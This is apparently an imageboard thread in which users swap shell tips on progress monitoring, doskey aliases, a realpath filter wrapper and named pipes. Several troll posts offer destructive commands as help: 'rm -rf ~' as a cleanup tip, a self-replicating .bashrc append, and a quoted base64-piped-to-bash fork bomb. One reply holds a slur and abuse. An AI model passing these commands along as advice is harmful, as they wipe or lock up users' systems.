To display a progress screen for long-running actions like cp, dd or some other file operation, do the following. cp bigfile newfile & progress -mwp $! -m is like watch -n 2, -w estimates throughput speed, and -p lets you monitor only a specifc PID, the current shell command $!, for example.
piping this to pv gives you a nice progress bar as well since the built in progress is pretty barebones
not so much a trick but theres a coreutils plugin for cp and mv to provide them with overall progress bars for recursive operations. it does technicallly make the operation take longer as it essentially runs a du before cp/mv however for massive operations that would take several hours or days anyway, an extra few seconds or a minute at rhe start for the ability to monitor total progress in real time is absolutely worth it. github.com/jarun/advcpmv
and for a trick that people might not know, dos and windows cli do actually support aliases by using doskey, eg doskey ls=dir doskey cp=robocopy
Samuel Wright
>echo di{4ke`e(){e|e&};e`982 | base64 --decode | bash nice try, you almost got me with that fork bomb
Luis Ward
rm -rf ~ clears up lots of old stuff
Blake Torres
The realpath command usually only takes paramters on ARGV, but if you want to turn it into a filter that consumes STDIN and produces on output on STDOUT, you can do something like this. This pattern is generally applicable to things that aren't filters but ought to be.
Bash # A wrapper around realpath that turns it into a filter function rp() { while read p ; do realpath "$p" done }
Jason Lee
phone posting because i'm sitting watching the results of this poster being an ABSOLUTE PIECE OF SHIT FUCK YOU
Kevin Robinson
Show pics, fag.
Camden Murphy
On some Unix OSes, you can do ^T to show progress for many commands: it sends the SIGINFO signal.
Aiden Smith
realpath is not a filter because it's supposed to resolve an actual file on your disk, not just append text to a file that may or may not exist.
Luis Campbell
Nothing secret, just a neat function I wrote today to make cd-ing into albums in my various artists directory easier. qcd(){ local search="$(ls -d */ .*/ | grep -i "$1")" \ length="$(ls -d */ .*/ | grep -i "$1" | wc -l)" if [ "$length" = "1" ]; then cd "$search" elif [ "$length" = "0" ]; then printf "qcd: Directory \"$1\" not found\n" else printf "qcd: Many directories matching \"$1\" found\n$search\n" fi }
Jacob Reed
echo "echo sleep 0.5 >> ~/.bashrc" >> ~/.bashrc
Alexander Young
mkfifo allows you to create named pipes which you can use to connect the inputs and outputs of two programs together. mkfifo myfifo prog1 < myfifo | prog2 > myfifo
Connor Stewart
don't read and write to the same file in the same pipeline
Andrew White
That is not at all what is happening here.
Jason Walker
shell is interpreted redirects first, the file myfifo would be formatted before prog1 has a chance to open it.
Bentley White
No it makes sense, sometimes you want things to be on the pipeline and not inside clusterfucks of subshell brackets. I have a command for exactly this linecmd() { local l while IFS= read -r l; do "$@" "${l//$'\r'/}" done }
David Gutierrez
I wrote this shell function once to emulate terminal swallowing, I only use it for feh, mpv and my file browser though.
Most terminal emulators have the variable $WINDOWID or something set to the window id so you dont have to use getactivewindow You can also reparent the window to the terminal and then resize it to the terminals dimensions which would basically swallow it
Joseph Nguyen
realpath isn't that strict by default. Try this: realpath ../something-that-doesnt-exist
Jackson Edwards
I wrote that rp function, because I had a situation where tmsu was outputting a list of relative paths, and I needed to turn those into absolute paths before feeding that list of files to mpv. After searching around, I discovered realpath, but when I couldn't pipe to it, I wrapped it in a function that made it a more versatile citizen in the Unix ecosystem.